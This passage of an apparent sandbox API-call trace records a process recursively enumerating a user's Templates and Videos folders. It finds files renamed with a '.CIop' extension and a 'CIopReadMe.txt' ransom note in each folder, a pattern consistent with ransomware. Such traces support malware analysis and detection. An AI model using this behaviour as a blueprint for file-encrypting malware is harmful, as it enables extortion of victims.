hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.300] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.300] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.300] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.300] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0128.300] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0128.300] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.300] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.300] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0128.300] SetErrorMode (uMode=0x1) returned 0x1 [0128.300] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0128.300] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" [0128.300] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" [0128.300] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*" [0128.300] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.300] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="Templates" [0128.300] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0128.300] lstrlenW (lpString=".CIop") returned 5 [0128.300] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.300] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.300] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.300] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0128.300] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*" [0128.300] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0128.300] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="Templates" [0128.300] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0128.300] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.300] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.300] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.300] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.300] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0128.300] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0128.300] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.300] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.300] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0128.300] SetErrorMode (uMode=0x1) returned 0x1 [0128.300] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0128.300] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0128.300] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0128.300] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*" [0128.300] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.301] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="Videos" [0128.301] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0128.301] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.301] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.301] lstrcmpW (lpString1="bVHx1G7LG6.swf.CIop", lpString2="..") returned 1 [0128.301] lstrcmpW (lpString1="bVHx1G7LG6.swf.CIop", lpString2=".") returned 1 [0128.301] lstrlenW (lpString=".CIop") returned 5 [0128.301] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.301] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.301] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.301] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.301] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.301] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.301] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.301] lstrlenW (lpString="desktop.ini") returned 11 [0128.301] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.301] lstrcmpW (lpString1="Up-xCZd9p 2yrWN.mp4.CIop", lpString2="..") returned 1 [0128.301] lstrcmpW (lpString1="Up-xCZd9p 2yrWN.mp4.CIop", lpString2=".") returned 1 [0128.301] lstrlenW (lpString=".CIop") returned 5 [0128.301] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.301] lstrcmpW (lpString1="VYNmKqyqyi.mkv.CIop", lpString2="..") returned 1 [0128.301] lstrcmpW (lpString1="VYNmKqyqyi.mkv.CIop", lpString2=".") returned 1 [0128.301] lstrlenW (lpString=".CIop") returned 5 [0128.301] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.301] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.301] lstrcmpW (lpString1="Xj74 9 m.flv.CIop", lpString2="..") returned 1 [0128.301] lstrcmpW (lpString1="Xj74 9 m.flv.CIop", lpString2=".") returned 1 [0128.301] lstrlenW (lpString=".CIop") returned 5 [0128.301] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.301] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.301] lstrcmpW (lpString1="zDzpwp-28.avi.CIop", lpString2="..") returned 1 [0128.301] lstrcmpW (lpString1="zDzpwp-28.avi.CIop", lpString2=".") returned 1 [0128.301] lstrlenW (lpString=".CIop") returned 5 [0128.301] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.301] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.301] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.302] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.302] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0128.302] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*" [0128.302] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.302] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="Videos" [0128.302] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0128.302] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.302] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.302] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.302] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.302] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.302] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.302] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.302] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.302] lstrcmpW (lpString1="wNN lOPK", lpString2="..") returned 1 [0128.302] lstrcmpW (lpString1="wNN lOPK", lpString2=".") returned 1 [0128.302] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0128.302] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0128.302] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0128.302] SetErrorMode (uMode=0x1) returned 0x1 [0128.302] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0128.302] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0128.302] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0128.302] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*" [0128.302] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.302] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="wNN lOPK" [0128.302] lstrcpyW (in: lpString1=0x2dc7014, lpString2="wNN lOPK" | out: lpString1="wNN lOPK") returned="wNN lOPK" [0128.302] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.303] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.303] lstrcmpW (lpString1="33G0h-QVWGTGNhCEha.mp4.CIop", lpString2="..") returned 1 [0128.303] lstrcmpW (lpString1="33G0h-QVWGTGNhCEha.mp4.CIop", lpString2=".") returned 1 [0128.303] lstrlenW (lpString=".CIop") returned 5 [0128.303] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.303] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.303] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.303] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.303] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.303] lstrcmpW (lpString1="S20n9CABG0uo.mp4.CIop", lpString2="..") returned 1 [0128.303] lstrcmpW (lpString1="S20n9CABG0uo.mp4.CIop", lpString2=".") returned 1 [0128.303] lstrlenW (lpString=".CIop") returned 5 [0128.303] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.303] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.303] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.303] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.303] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0128.303] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*" [0128.303] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.303] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="wNN lOPK" [0128.303] lstrcpyW (in: lpString1=0x2dc7014, lpString2="wNN lOPK" | out: lpString1="wNN lOPK") returned="wNN lOPK" [0128.303] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.303] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.303] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.303] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.303] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.303] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.303] lstrcmpW (lpString1="ugEH", lpString2="..") returned 1 [0128.303] lstrcmpW (lpString1="ugEH", lpString2=".") returned 1 [0128.303] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0128.303] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0128.303] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\", lpString2="ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0128.304] SetErrorMode (uMode=0x1) returned 0x1 [0128.304] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0128.304] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0128.304] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0128.304] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*" [0128.304] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67ddb8 [0128.304] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="ugEH" [0128.304] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="ugEH" | out: lpString1="ugEH") returned="ugEH" [0128.304] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.304] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.304] lstrcmpW (lpString1="62uD.avi.CIop", lpString2="..") returned 1 [0128.304] lstrcmpW (lpString1="62uD.avi.CIop", lpString2=".") returned 1 [0128.304] lstrlenW (lpString=".CIop") returned 5 [0128.304] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.304] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.304] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.304] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.304] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.304] lstrcmpW (lpString1="Eowo0nLnhzDtXx7wGkmW.mp4.CIop", lpString2="..") returned 1 [0128.304] lstrcmpW (lpString1="Eowo0nLnhzDtXx7wGkmW.mp4.CIop", lpString2=".") returned 1 [0128.304] lstrlenW (lpString=".CIop") returned 5 [0128.304] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.304] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.304] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0128.304] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0128.304] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0128.304] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*" [0128.304] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dd78 [0128.304] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="ugEH" [0128.304] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="ugEH" | out: lpString1="ugEH") returned="ugEH" [0128.304] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.305] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.305] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.305] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.305] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.305] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.305] lstrcmpW (lpString1="VAlp", lpString2="..") returned 1 [0128.305] lstrcmpW (lpString1="VAlp", lpString2=".") returned 1 [0128.305] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0128.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0128.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\", lpString2="VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0128.305] SetErrorMode (uMode=0x1) returned 0x1 [0128.305] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0128.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0128.305] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0128.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*" [0128.305] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dbf8 [0128.305] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="VAlp" [0128.305] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="VAlp" | out: lpString1="VAlp") returned="VAlp" [0128.305] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.305] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.305] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.305] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.305] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.305] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.305] lstrcmpW (lpString1="gbg6IyO.avi.CIop", lpString2="..") returned 1 [0128.305] lstrcmpW (lpString1="gbg6IyO.avi.CIop", lpString2=".") returned 1 [0128.305] lstrlenW 